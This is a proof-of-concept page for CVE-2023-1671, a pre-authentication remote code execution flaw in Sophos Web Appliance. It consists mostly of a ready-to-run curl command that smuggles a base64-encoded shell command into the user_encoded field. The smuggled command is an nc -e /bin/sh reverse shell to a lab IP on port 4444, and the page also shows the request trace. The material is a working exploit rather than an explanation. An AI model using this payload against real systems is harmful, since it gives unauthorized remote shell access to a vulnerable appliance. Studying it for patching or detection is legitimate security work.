CVE-2023-1671

Pre-Auth RCE in Sophos Web Appliance

Poc

curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "args_reason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&user_encoded=$(echo -n "';nc -e /bin/sh 192.168.56.1 4444 #" | base64)"


#snip
=> Send header, 184 bytes (0xb8)
0000: POST /index.php?c=blocked&action=continue HTTP/1.1
0034: Host: 192.168.56.108
004a: User-Agent: curl/7.88.1
0063: Accept: */*
0070: Content-Length: 120
0085: Content-Type: application/x-www-form-urlencoded
00b6:
=> Send data, 120 bytes (0x78)
0000: args_reason=filetypewarn&url=16625&filetype=5831&user=4525&user_
0040: encoded=JztuYyAtZSAvYmluL3NoIDE5Mi4xNjguNTYuMSA0NDQ0ICM=

Reference

• https://vulncheck.com/blog/cve-2023-1671-analysis